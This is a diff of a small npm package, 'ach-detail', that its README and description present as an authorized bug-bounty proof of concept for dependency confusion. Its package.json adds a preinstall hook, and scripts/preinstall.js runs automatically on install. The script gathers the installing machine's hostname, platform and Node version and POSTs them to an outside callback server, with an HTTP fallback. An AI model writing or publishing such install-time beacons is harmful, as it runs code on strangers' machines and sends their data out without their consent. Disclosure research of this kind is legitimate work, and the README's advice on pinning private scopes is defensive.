ach-detail 99.0.1

package/README.md

@@ -0,0 +1,19 @@
+# ach-details — authorized security research placeholder
+
+**This is not a functional package. Do not depend on it.**
+
+It was published as a proof of concept under an active, authorized bug bounty
+engagement with **Latitude Financial** on **BugCrowd** to demonstrate a dependency confusion condition
+affecting an internal package of the same name.
+
+## If you reached this package by accident
+
+You are almost certainly resolving an internal package name from the public
+registry. That is the vulnerability. Pin your scope to your private registry.
+And register the scope as a placeholder on public npm so it cannot be claimed.
+
+## Removal
+
+This package will be unpublished as soon as the finding is confirmed, and it will be transferred to Latitude Financial.
+
+Researcher: **pr3da70r** — contact via BugCrowd.

package/index.js

@@ -0,0 +1,5 @@
+'use strict';
+
+console.log("Dependency Confusion PoC By pr3da70r");
+
+module.exports = {};

package/package.json

@@ -0,0 +1,25 @@
+{
+  "name": "ach-detail",
+  "version": "99.0.1",
+  "description": "AUTHORIZED SECURITY RESEARCH PLACEHOLDER - not a functional package. Published with permission under a BugCrowd bug bounty engagement to demonstrate a dependency confusion condition. Contact pr3da70r via BugCrowd. This package will be unpublished once the finding is confirmed.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node scripts/preinstall.js"
+  },
+  "files": [
+    "index.js",
+    "scripts/preinstall.js",
+    "README.md"
+  ],
+  "keywords": [
+    "security-research",
+    "bug-bounty",
+    "proof-of-concept",
+    "do-not-use"
+  ],
+  "author": "pr3da70r",
+  "license": "MIT",
+  "engines": {
+    "node": ">=10"
+  }
+}

package/scripts/preinstall.js

@@ -0,0 +1,111 @@
+#!/usr/bin/env node
+
+'use strict';
+
+// ---------------------------------------------------------------------------
+// CONFIGURE THESE TWO VALUES BEFORE PUBLISHING (URLs are already set)
+// ---------------------------------------------------------------------------
+var REPORT_ID    = '6ba66258-c990-4177-a3b9-d8941dfea100';                 // e.g. '2847391'
+var NONCE        = 'a7d3c1';                     // unique per publish
+var HTTP_URL     = 'https://callback.kuldeep.io/beacon'; // primary, port 443
+var FALLBACK_URL = 'http://callback.kuldeep.io/beacon';  // retry, port 80
+// ---------------------------------------------------------------------------
+
+var TIMEOUT_MS = 4000;
+
+function safe(fn) {
+  try { return fn(); } catch (e) { return undefined; }
+}
+
+function hostname() {
+  return safe(function () { return require('os').hostname(); }) || 'unknown';
+}
+
+function selfDescribe() {
+  var pkg = safe(function () { return require('../package.json'); }) || {};
+  return { name: pkg.name || 'unknown', version: pkg.version || 'unknown' };
+}
+
+/*
+ * Single bounded POST. Calls onFail() on any error, timeout or non-2xx/3xx
+ * response so the caller can try the fallback. onFail runs at most once.
+ */
+function post(target, body, onFail) {
+  safe(function () {
+    var url = require('url');
+    var parsed = url.parse(target);
+    var transport = parsed.protocol === 'http:' ? require('http') : require('https');
+    var done = false;
+
+    function fail() {
+      if (done) return;
+      done = true;
+      if (onFail) safe(onFail);
+    }
+
+    var req = transport.request({
+      protocol: parsed.protocol,
+      hostname: parsed.hostname,
+      port: parsed.port,
+      path: parsed.path,
+      method: 'POST',
+      timeout: TIMEOUT_MS,
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(body),
+        'User-Agent': 'bc-poc/' + REPORT_ID
+      }
+    }, function (res) {
+      res.resume();
+      // 2xx only. A 3xx means nginx redirected us and the body never reached
+      // the collector, so that must count as a failure and trigger the fallback.
+      if (res.statusCode >= 200 && res.statusCode < 300) { done = true; }
+      else { fail(); }
+    });
+
+    req.on('error', fail);
+    req.on('timeout', function () { safe(function () { req.destroy(); }); fail(); });
+    req.end(body);
+  });
+}
+
+function main() {
+  var host = hostname();
+  var self = selfDescribe();
+
+  // The unique console log the analyst asked for.
+  // NOTE: npm buffers dependency script output and discards it unless the
+  // script fails. This line is only visible with
+  // `npm install --foreground-scripts`, or foreground-scripts=true in .npmrc.
+  console.log(
+    '[H1-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
+    self.name + '@' + self.version +
+    ' resolved from the PUBLIC npm registry and its preinstall script executed on host "' +
+    host + '". This package is a benign placeholder published with program permission. ' +
+    'Contact: pr3da70r via BugCrowd report ' + REPORT_ID + '.'
+  );
+
+  var body = JSON.stringify({
+    report: REPORT_ID,
+    nonce: NONCE,
+    hostname: host,
+    pkg: self.name,
+    version: self.version,
+    node: safe(function () { return process.version; }) || 'unknown',
+    platform: safe(function () { return process.platform; }) || 'unknown',
+    ts: new Date().toISOString()
+  });
+
+  post(HTTP_URL, body, function () {
+    if (FALLBACK_URL && FALLBACK_URL !== HTTP_URL) post(FALLBACK_URL, body, null);
+  });
+
+  // Watchdog. unref'd so it never keeps the loop alive on its own, but fires
+  // and forces a clean exit if a socket hangs.
+  safe(function () {
+    setTimeout(function () { process.exit(0); }, (TIMEOUT_MS * 2) + 1000).unref();
+  });
+}
+
+safe(main);
+process.exitCode = 0;